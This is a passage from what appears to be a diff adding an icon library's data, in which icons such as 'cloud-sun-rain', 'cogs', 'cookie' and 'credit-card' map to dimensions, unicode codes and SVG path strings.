23.6-33.5-13.1-5.4-25.4-13.4-36-24zm-4.8-79.2c0 40.8 29.3 74.8 67.9 82.3 8-4.7 16.3-8.8 25.2-11.7 5.4-44.3 31-82.5 67.4-105C287.3 160.4 258 140 224 140c-46.3 0-84 37.6-84 83.9z"], + "cloud-sun-rain": [576, 512, [], "f743", "M510.5 225.5c-6.9-37.2-39.3-65.5-78.5-65.5-12.3 0-23.9 3-34.3 8-17.4-24.1-45.6-40-77.7-40-53 0-96 43-96 96 0 .5.2 1.1.2 1.6C187.6 233 160 265.2 160 304c0 44.2 35.8 80 80 80h256c44.2 0 80-35.8 80-80 0-39.2-28.2-71.7-65.5-78.5zm-386.4 34.4c-37.4-37.4-37.4-98.3 0-135.8 34.6-34.6 89.1-36.8 126.7-7.4 20-12.9 43.6-20.7 69.2-20.7.7 0 1.3.2 2 .2l8.9-26.7c3.4-10.2-6.3-19.8-16.5-16.4l-75.3 25.1-35.5-71c-4.8-9.6-18.5-9.6-23.3 0l-35.5 71-75.3-25.1c-10.2-3.4-19.8 6.3-16.4 16.5l25.1 75.3-71 35.5c-9.6 4.8-9.6 18.5 0 23.3l71 35.5-25.1 75.3c-3.4 10.2 6.3 19.8 16.5 16.5l59.2-19.7c-.2-2.4-.7-4.7-.7-7.2 0-12.5 2.3-24.5 6.2-35.9-3.6-2.7-7.1-5.2-10.2-8.3zm69.8-58c4.3-24.5 15.8-46.4 31.9-64-9.8-6.2-21.4-9.9-33.8-9.9-35.3 0-64 28.7-64 64 0 18.7 8.2 35.4 21.1 47.1 11.3-15.9 26.6-28.9 44.8-37.2zm330.6 216.2c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8z"], + "cloud-upload-alt": [640, 512, [], "f382", "M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4zM393.4 288H328v112c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V288h-65.4c-14.3 0-21.4-17.2-11.3-27.3l105.4-105.4c6.2-6.2 16.4-6.2 22.6 0l105.4 105.4c10.1 10.1 2.9 27.3-11.3 27.3z"], + "cocktail": [576, 512, [], "f561", "M296 464h-56V338.78l168.74-168.73c15.52-15.52 4.53-42.05-17.42-42.05H24.68c-21.95 0-32.94 26.53-17.42 42.05L176 338.78V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40zM432 0c-62.61 0-115.35 40.2-135.18 96h52.54c16.65-28.55 47.27-48 82.64-48 52.93 0 96 43.06 96 96s-43.07 96-96 96c-14.04 0-27.29-3.2-39.32-8.64l-35.26 35.26C379.23 279.92 404.59 288 432 288c79.53 0 144-64.47 144-144S511.53 0 432 0z"], + "code": [640, 512, [], "f121", "M278.9 511.5l-61-17.7c-6.4-1.8-10-8.5-8.2-14.9L346.2 8.7c1.8-6.4 8.5-10 14.9-8.2l61 17.7c6.4 1.8 10 8.5 8.2 14.9L293.8 503.3c-1.9 6.4-8.5 10.1-14.9 8.2zm-114-112.2l43.5-46.4c4.6-4.9 4.3-12.7-.8-17.2L117 256l90.6-79.7c5.1-4.5 5.5-12.3.8-17.2l-43.5-46.4c-4.5-4.8-12.1-5.1-17-.5L3.8 247.2c-5.1 4.7-5.1 12.8 0 17.5l144.1 135.1c4.9 4.6 12.5 4.4 17-.5zm327.2.6l144.1-135.1c5.1-4.7 5.1-12.8 0-17.5L492.1 112.1c-4.8-4.5-12.4-4.3-17 .5L431.6 159c-4.6 4.9-4.3 12.7.8 17.2L523 256l-90.6 79.7c-5.1 4.5-5.5 12.3-.8 17.2l43.5 46.4c4.5 4.9 12.1 5.1 17 .6z"], + "code-branch": [384, 512, [], "f126", "M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z"], + "coffee": [640, 512, [], "f0f4", "M192 384h192c53 0 96-43 96-96h32c70.6 0 128-57.4 128-128S582.6 32 512 32H120c-13.3 0-24 10.7-24 24v232c0 53 43 96 96 96zM512 96c35.3 0 64 28.7 64 64s-28.7 64-64 64h-32V96h32zm47.7 384H48.3c-47.6 0-61-64-36-64h583.3c25 0 11.8 64-35.9 64z"], + "cog": [512, 512, [], "f013", "M487.4 315.7l-42.6-24.6c4.3-23.2 4.3-47 0-70.2l42.6-24.6c4.9-2.8 7.1-8.6 5.5-14-11.1-35.6-30-67.8-54.7-94.6-3.8-4.1-10-5.1-14.8-2.3L380.8 110c-17.9-15.4-38.5-27.3-60.8-35.1V25.8c0-5.6-3.9-10.5-9.4-11.7-36.7-8.2-74.3-7.8-109.2 0-5.5 1.2-9.4 6.1-9.4 11.7V75c-22.2 7.9-42.8 19.8-60.8 35.1L88.7 85.5c-4.9-2.8-11-1.9-14.8 2.3-24.7 26.7-43.6 58.9-54.7 94.6-1.7 5.4.6 11.2 5.5 14L67.3 221c-4.3 23.2-4.3 47 0 70.2l-42.6 24.6c-4.9 2.8-7.1 8.6-5.5 14 11.1 35.6 30 67.8 54.7 94.6 3.8 4.1 10 5.1 14.8 2.3l42.6-24.6c17.9 15.4 38.5 27.3 60.8 35.1v49.2c0 5.6 3.9 10.5 9.4 11.7 36.7 8.2 74.3 7.8 109.2 0 5.5-1.2 9.4-6.1 9.4-11.7v-49.2c22.2-7.9 42.8-19.8 60.8-35.1l42.6 24.6c4.9 2.8 11 1.9 14.8-2.3 24.7-26.7 43.6-58.9 54.7-94.6 1.5-5.5-.7-11.3-5.6-14.1zM256 336c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"], + "cogs": [640, 512, [], "f085", "M512.1 191l-8.2 14.3c-3 5.3-9.4 7.5-15.1 5.4-11.8-4.4-22.6-10.7-32.1-18.6-4.6-3.8-5.8-10.5-2.8-15.7l8.2-14.3c-6.9-8-12.3-17.3-15.9-27.4h-16.5c-6 0-11.2-4.3-12.2-10.3-2-12-2.1-24.6 0-37.1 1-6 6.2-10.4 12.2-10.4h16.5c3.6-10.1 9-19.4 15.9-27.4l-8.2-14.3c-3-5.2-1.9-11.9 2.8-15.7 9.5-7.9 20.4-14.2 32.1-18.6 5.7-2.1 12.1.1 15.1 5.4l8.2 14.3c10.5-1.9 21.2-1.9 31.7 0L552 6.3c3-5.3 9.4-7.5 15.1-5.4 11.8 4.4 22.6 10.7 32.1 18.6 4.6 3.8 5.8 10.5 2.8 15.7l-8.2 14.3c6.9 8 12.3 17.3 15.9 27.4h16.5c6 0 11.2 4.3 12.2 10.3 2 12 2.1 24.6 0 37.1-1 6-6.2 10.4-12.2 10.4h-16.5c-3.6 10.1-9 19.4-15.9 27.4l8.2 14.3c3 5.2 1.9 11.9-2.8 15.7-9.5 7.9-20.4 14.2-32.1 18.6-5.7 2.1-12.1-.1-15.1-5.4l-8.2-14.3c-10.4 1.9-21.2 1.9-31.7 0zm-10.5-58.8c38.5 29.6 82.4-14.3 52.8-52.8-38.5-29.7-82.4 14.3-52.8 52.8zM386.3 286.1l33.7 16.8c10.1 5.8 14.5 18.1 10.5 29.1-8.9 24.2-26.4 46.4-42.6 65.8-7.4 8.9-20.2 11.1-30.3 5.3l-29.1-16.8c-16 13.7-34.6 24.6-54.9 31.7v33.6c0 11.6-8.3 21.6-19.7 23.6-24.6 4.2-50.4 4.4-75.9 0-11.5-2-20-11.9-20-23.6V418c-20.3-7.2-38.9-18-54.9-31.7L74 403c-10 5.8-22.9 3.6-30.3-5.3-16.2-19.4-33.3-41.6-42.2-65.7-4-10.9.4-23.2 10.5-29.1l33.3-16.8c-3.9-20.9-3.9-42.4 0-63.4L12 205.8c-10.1-5.8-14.6-18.1-10.5-29 8.9-24.2 26-46.4 42.2-65.8 7.4-8.9 20.2-11.1 30.3-5.3l29.1 16.8c16-13.7 34.6-24.6 54.9-31.7V57.1c0-11.5 8.2-21.5 19.6-23.5 24.6-4.2 50.5-4.4 76-.1 11.5 2 20 11.9 20 23.6v33.6c20.3 7.2 38.9 18 54.9 31.7l29.1-16.8c10-5.8 22.9-3.6 30.3 5.3 16.2 19.4 33.2 41.6 42.1 65.8 4 10.9.1 23.2-10 29.1l-33.7 16.8c3.9 21 3.9 42.5 0 63.5zm-117.6 21.1c59.2-77-28.7-164.9-105.7-105.7-59.2 77 28.7 164.9 105.7 105.7zm243.4 182.7l-8.2 14.3c-3 5.3-9.4 7.5-15.1 5.4-11.8-4.4-22.6-10.7-32.1-18.6-4.6-3.8-5.8-10.5-2.8-15.7l8.2-14.3c-6.9-8-12.3-17.3-15.9-27.4h-16.5c-6 0-11.2-4.3-12.2-10.3-2-12-2.1-24.6 0-37.1 1-6 6.2-10.4 12.2-10.4h16.5c3.6-10.1 9-19.4 15.9-27.4l-8.2-14.3c-3-5.2-1.9-11.9 2.8-15.7 9.5-7.9 20.4-14.2 32.1-18.6 5.7-2.1 12.1.1 15.1 5.4l8.2 14.3c10.5-1.9 21.2-1.9 31.7 0l8.2-14.3c3-5.3 9.4-7.5 15.1-5.4 11.8 4.4 22.6 10.7 32.1 18.6 4.6 3.8 5.8 10.5 2.8 15.7l-8.2 14.3c6.9 8 12.3 17.3 15.9 27.4h16.5c6 0 11.2 4.3 12.2 10.3 2 12 2.1 24.6 0 37.1-1 6-6.2 10.4-12.2 10.4h-16.5c-3.6 10.1-9 19.4-15.9 27.4l8.2 14.3c3 5.2 1.9 11.9-2.8 15.7-9.5 7.9-20.4 14.2-32.1 18.6-5.7 2.1-12.1-.1-15.1-5.4l-8.2-14.3c-10.4 1.9-21.2 1.9-31.7 0zM501.6 431c38.5 29.6 82.4-14.3 52.8-52.8-38.5-29.6-82.4 14.3-52.8 52.8z"], + "coins": [512, 512, [], "f51e", "M0 405.3V448c0 35.3 86 64 192 64s192-28.7 192-64v-42.7C342.7 434.4 267.2 448 192 448S41.3 434.4 0 405.3zM320 128c106 0 192-28.7 192-64S426 0 320 0 128 28.7 128 64s86 64 192 64zM0 300.4V352c0 35.3 86 64 192 64s192-28.7 192-64v-51.6c-41.3 34-116.9 51.6-192 51.6S41.3 334.4 0 300.4zm416 11c57.3-11.1 96-31.7 96-55.4v-42.7c-23.2 16.4-57.3 27.6-96 34.5v63.6zM192 160C86 160 0 195.8 0 240s86 80 192 80 192-35.8 192-80-86-80-192-80zm219.3 56.3c60-10.8 100.7-32 100.7-56.3v-42.7c-35.5 25.1-96.5 38.6-160.7 41.8 29.5 14.3 51.2 33.5 60 57.2z"], + "columns": [512, 512, [], "f0db", "M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM224 416H64V160h160v256zm224 0H288V160h160v256z"], + "comment": [512, 512, [], "f075", "M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7S4.8 480 8 480c66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32z"], + "comment-alt": [512, 512, [], "f27a", "M448 0H64C28.7 0 0 28.7 0 64v288c0 35.3 28.7 64 64 64h96v84c0 9.8 11.2 15.5 19.1 9.7L304 416h144c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64z"], + "comment-dollar": [512, 512, [], "f651", "M256 32C114.62 32 0 125.12 0 240c0 49.56 21.41 95.01 57.02 130.74C44.46 421.05 2.7 465.97 2.2 466.5A7.995 7.995 0 0 0 8 480c66.26 0 115.99-31.75 140.6-51.38C181.29 440.93 217.59 448 256 448c141.38 0 256-93.12 256-208S397.38 32 256 32zm24 302.44V352c0 8.84-7.16 16-16 16h-16c-8.84 0-16-7.16-16-16v-17.73c-11.42-1.35-22.28-5.19-31.78-11.46-6.22-4.11-6.82-13.11-1.55-18.38l17.52-17.52c3.74-3.74 9.31-4.24 14.11-2.03 3.18 1.46 6.66 2.22 10.26 2.22h32.78c4.66 0 8.44-3.78 8.44-8.42 0-3.75-2.52-7.08-6.12-8.11l-50.07-14.3c-22.25-6.35-40.01-24.71-42.91-47.67-4.05-32.07 19.03-59.43 49.32-63.05V128c0-8.84 7.16-16 16-16h16c8.84 0 16 7.16 16 16v17.73c11.42 1.35 22.28 5.19 31.78 11.46 6.22 4.11 6.82 13.11 1.55 18.38l-17.52 17.52c-3.74 3.74-9.31 4.24-14.11 2.03a24.516 24.516 0 0 0-10.26-2.22h-32.78c-4.66 0-8.44 3.78-8.44 8.42 0 3.75 2.52 7.08 6.12 8.11l50.07 14.3c22.25 6.36 40.01 24.71 42.91 47.67 4.05 32.06-19.03 59.42-49.32 63.04z"], + "comment-dots": [512, 512, [], "f4ad", "M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7S4.8 480 8 480c66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32zM128 272c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "comment-medical": [512, 512, [], "f7f5", "M256 32C114.62 32 0 125.12 0 240c0 49.56 21.41 95 57 130.74C44.46 421.05 2.7 466 2.2 466.5A8 8 0 0 0 8 480c66.26 0 116-31.75 140.6-51.38A304.66 304.66 0 0 0 256 448c141.39 0 256-93.12 256-208S397.39 32 256 32zm96 232a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8v-48a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8z"], + "comment-slash": [640, 512, [], "f4b3", "M64 240c0 49.6 21.4 95 57 130.7-12.6 50.3-54.3 95.2-54.8 95.8-2.2 2.3-2.8 5.7-1.5 8.7 1.3 2.9 4.1 4.8 7.3 4.8 66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 27.4 0 53.7-3.6 78.4-10L72.9 186.4c-5.6 17.1-8.9 35-8.9 53.6zm569.8 218.1l-114.4-88.4C554.6 334.1 576 289.2 576 240c0-114.9-114.6-208-256-208-65.1 0-124.2 20.1-169.4 52.7L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3z"], + "comments": [576, 512, [], "f086", "M416 192c0-88.4-93.1-160-208-160S0 103.6 0 192c0 34.3 14.1 65.9 38 92-13.4 30.2-35.5 54.2-35.8 54.5-2.2 2.3-2.8 5.7-1.5 8.7S4.8 352 8 352c36.6 0 66.9-12.3 88.7-25 32.2 15.7 70.3 25 111.3 25 114.9 0 208-71.6 208-160zm122 220c23.9-26 38-57.7 38-92 0-66.9-53.5-124.2-129.3-148.1.9 6.6 1.3 13.3 1.3 20.1 0 105.9-107.7 192-240 192-10.8 0-21.3-.8-31.7-1.9C207.8 439.6 281.8 480 368 480c41 0 79.1-9.2 111.3-25 21.8 12.7 52.1 25 88.7 25 3.2 0 6.1-1.9 7.3-4.8 1.3-2.9.7-6.3-1.5-8.7-.3-.3-22.4-24.2-35.8-54.5z"], + "comments-dollar": [576, 512, [], "f653", "M416 192c0-88.37-93.12-160-208-160S0 103.63 0 192c0 34.27 14.13 65.95 37.97 91.98C24.61 314.22 2.52 338.16 2.2 338.5A7.995 7.995 0 0 0 8 352c36.58 0 66.93-12.25 88.73-24.98C128.93 342.76 167.02 352 208 352c114.88 0 208-71.63 208-160zm-224 96v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V96c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07V288c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm346.01 123.99C561.87 385.96 576 354.27 576 320c0-66.94-53.49-124.2-129.33-148.07.86 6.6 1.33 13.29 1.33 20.07 0 105.87-107.66 192-240 192-10.78 0-21.32-.77-31.73-1.88C207.8 439.63 281.77 480 368 480c40.98 0 79.07-9.24 111.27-24.98C501.07 467.75 531.42 480 568 480c3.2 0 6.09-1.91 7.34-4.84 1.27-2.94.66-6.34-1.55-8.67-.31-.33-22.42-24.24-35.78-54.5z"], + "compact-disc": [496, 512, [], "f51f", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM88 256H56c0-105.9 86.1-192 192-192v32c-88.2 0-160 71.8-160 160zm160 96c-53 0-96-43-96-96s43-96 96-96 96 43 96 96-43 96-96 96zm0-128c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"], + "compass": [496, 512, [], "f14e", "M225.38 233.37c-12.5 12.5-12.5 32.76 0 45.25 12.49 12.5 32.76 12.5 45.25 0 12.5-12.5 12.5-32.76 0-45.25-12.5-12.49-32.76-12.49-45.25 0zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm126.14 148.05L308.17 300.4a31.938 31.938 0 0 1-15.77 15.77l-144.34 65.97c-16.65 7.61-33.81-9.55-26.2-26.2l65.98-144.35a31.938 31.938 0 0 1 15.77-15.77l144.34-65.97c16.65-7.6 33.8 9.55 26.19 26.2z"], + "compress": [448, 512, [], "f066", "M436 192H312c-13.3 0-24-10.7-24-24V44c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v84h84c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12zm-276-24V44c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v84H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h124c13.3 0 24-10.7 24-24zm0 300V344c0-13.3-10.7-24-24-24H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h84v84c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm192 0v-84h84c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12H312c-13.3 0-24 10.7-24 24v124c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12z"], + "compress-alt": [448, 512, [], "f422", "M4.686 427.314L104 328l-32.922-31.029C55.958 281.851 66.666 256 88.048 256h112C213.303 256 224 266.745 224 280v112c0 21.382-25.803 32.09-40.922 16.971L152 376l-99.314 99.314c-6.248 6.248-16.379 6.248-22.627 0L4.686 449.941c-6.248-6.248-6.248-16.379 0-22.627zM443.314 84.686L344 184l32.922 31.029c15.12 15.12 4.412 40.971-16.97 40.971h-112C234.697 256 224 245.255 224 232V120c0-21.382 25.803-32.09 40.922-16.971L296 136l99.314-99.314c6.248-6.248 16.379-6.248 22.627 0l25.373 25.373c6.248 6.248 6.248 16.379 0 22.627z"], + "compress-arrows-alt": [512, 512, [], "f78c", "M200 288H88c-21.4 0-32.1 25.8-17 41l32.9 31-99.2 99.3c-6.2 6.2-6.2 16.4 0 22.6l25.4 25.4c6.2 6.2 16.4 6.2 22.6 0L152 408l31.1 33c15.1 15.1 40.9 4.4 40.9-17V312c0-13.3-10.7-24-24-24zm112-64h112c21.4 0 32.1-25.9 17-41l-33-31 99.3-99.3c6.2-6.2 6.2-16.4 0-22.6L481.9 4.7c-6.2-6.2-16.4-6.2-22.6 0L360 104l-31.1-33C313.8 55.9 288 66.6 288 88v112c0 13.3 10.7 24 24 24zm96 136l33-31.1c15.1-15.1 4.4-40.9-17-40.9H312c-13.3 0-24 10.7-24 24v112c0 21.4 25.9 32.1 41 17l31-32.9 99.3 99.3c6.2 6.2 16.4 6.2 22.6 0l25.4-25.4c6.2-6.2 6.2-16.4 0-22.6L408 360zM183 71.1L152 104 52.7 4.7c-6.2-6.2-16.4-6.2-22.6 0L4.7 30.1c-6.2 6.2-6.2 16.4 0 22.6L104 152l-33 31.1C55.9 198.2 66.6 224 88 224h112c13.3 0 24-10.7 24-24V88c0-21.3-25.9-32-41-16.9z"], + "concierge-bell": [512, 512, [], "f562", "M288 130.54V112h16c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h16v18.54C115.49 146.11 32 239.18 32 352h448c0-112.82-83.49-205.89-192-221.46zM496 384H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"], + "cookie": [512, 512, [], "f563", "M510.37 254.79l-12.08-76.26a132.493 132.493 0 0 0-37.16-72.95l-54.76-54.75c-19.73-19.72-45.18-32.7-72.71-37.05l-76.7-12.15c-27.51-4.36-55.69.11-80.52 12.76L107.32 49.6a132.25 132.25 0 0 0-57.79 57.8l-35.1 68.88a132.602 132.602 0 0 0-12.82 80.94l12.08 76.27a132.493 132.493 0 0 0 37.16 72.95l54.76 54.75a132.087 132.087 0 0 0 72.71 37.05l76.7 12.14c27.51 4.36 55.69-.11 80.52-12.75l69.12-35.21a132.302 132.302 0 0 0 57.79-57.8l35.1-68.87c12.71-24.96 17.2-53.3 12.82-80.96zM176 368c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm32-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm160 128c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "cookie-bite": [512, 512, [], "f564", "M510.52 255.82c-69.97-.85-126.47-57.69-126.47-127.86-70.17 0-127-56.49-127.86-126.45-27.26-4.14-55.13.3-79.72 12.82l-69.13 35.22a132.221 132.221 0 0 0-57.79 57.81l-35.1 68.88a132.645 132.645 0 0 0-12.82 80.95l12.08 76.27a132.521 132.521 0 0 0 37.16 72.96l54.77 54.76a132.036 132.036 0 0 0 72.71 37.06l76.71 12.15c27.51 4.36 55.7-.11 80.53-12.76l69.13-35.21a132.273 132.273 0 0 0 57.79-57.81l35.1-68.88c12.56-24.64 17.01-52.58 12.91-79.91zM176 368c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm32-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm160 128c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "copy": [448, 512, [], "f0c5", "M320 448v40c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V120c0-13.255 10.745-24 24-24h72v296c0 30.879 25.121 56 56 56h168zm0-344V0H152c-13.255 0-24 10.745-24 24v368c0 13.255 10.745 24 24 24h272c13.255 0 24-10.745 24-24V128H344c-13.2 0-24-10.8-24-24zm120.971-31.029L375.029 7.029A24 24 0 0 0 358.059 0H352v96h96v-6.059a24 24 0 0 0-7.029-16.97z"], + "copyright": [512, 512, [], "f1f9", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm117.134 346.753c-1.592 1.867-39.776 45.731-109.851 45.731-84.692 0-144.484-63.26-144.484-145.567 0-81.303 62.004-143.401 143.762-143.401 66.957 0 101.965 37.315 103.422 38.904a12 12 0 0 1 1.238 14.623l-22.38 34.655c-4.049 6.267-12.774 7.351-18.234 2.295-.233-.214-26.529-23.88-61.88-23.88-46.116 0-73.916 33.575-73.916 76.082 0 39.602 25.514 79.692 74.277 79.692 38.697 0 65.28-28.338 65.544-28.625 5.132-5.565 14.059-5.033 18.508 1.053l24.547 33.572a12.001 12.001 0 0 1-.553 14.866z"], + "couch": [640, 512, [], "f4b8", "M160 224v64h320v-64c0-35.3 28.7-64 64-64h32c0-53-43-96-96-96H160c-53 0-96 43-96 96h32c35.3 0 64 28.7 64 64zm416-32h-32c-17.7 0-32 14.3-32 32v96H128v-96c0-17.7-14.3-32-32-32H64c-35.3 0-64 28.7-64 64 0 23.6 13 44 32 55.1V432c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-16h384v16c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V311.1c19-11.1 32-31.5 32-55.1 0-35.3-28.7-64-64-64z"], + "credit-card": [576, 512, [], "f09d", "M0 432c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V256H0v176zm192-68c0-6.6 5.4-12 12-12h136c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H204c-6.6 0-12-5.4-12-12v-40zm-128 0c0-6.6 5.4-12 12-12h72c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zM576 80v48H0V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48z"], + "crop": [512, 512, [], "f125", "M488 352h-40V109.25l59.31-59.31c6.25-6.25 6.25-16.38 0-22.63L484.69 4.69c-6.25-6.25-16.38-6.25-22.63 0L402.75 64H192v96h114.75L160 306.75V24c0-13.26-10.75-24-24-24H88C74.75 0 64 10.74 64 24v40H24C10.75 64 0 74.74 0 88v48c0 13.25 10.75 24 24 24h40v264c0 13.25 10.75 24 24 24h232v-96H205.25L352 205.25V488c0 13.25 10.75 24 24 24h48c13.25 0 24-10.75 24-24v-40h40c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z"], + "crop-alt": [512, 512, [], "f565", "M488 352h-40V96c0-17.67-14.33-32-32-32H192v96h160v328c0 13.25 10.75 24 24 24h48c13.25 0 24-10.75 24-24v-40h40c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24zM160 24c0-13.26-10.75-24-24-24H88C74.75 0 64 10.74 64 24v40H24C10.75 64 0 74.74 0 88v48c0 13.25 10.75 24 24 24h40v256c0 17.67 14.33 32 32 32h224v-96H160V24z"], + "cross": [384, 512, [], "f654", "M352 128h-96V32c0-17.67-14.33-32-32-32h-64c-17.67 0-32 14.33-32 32v96H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h96v224c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V256h96c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z"], + "crosshairs": [512, 512, [], "f05b", "M500 224h-30.364C455.724 130.325 381.675 56.276 288 42.364V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v30.364C130.325 56.276 56.276 130.325 42.364 224H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h30.364C56.276 381.675 130.325 455.724 224 469.636V500c0 6.627 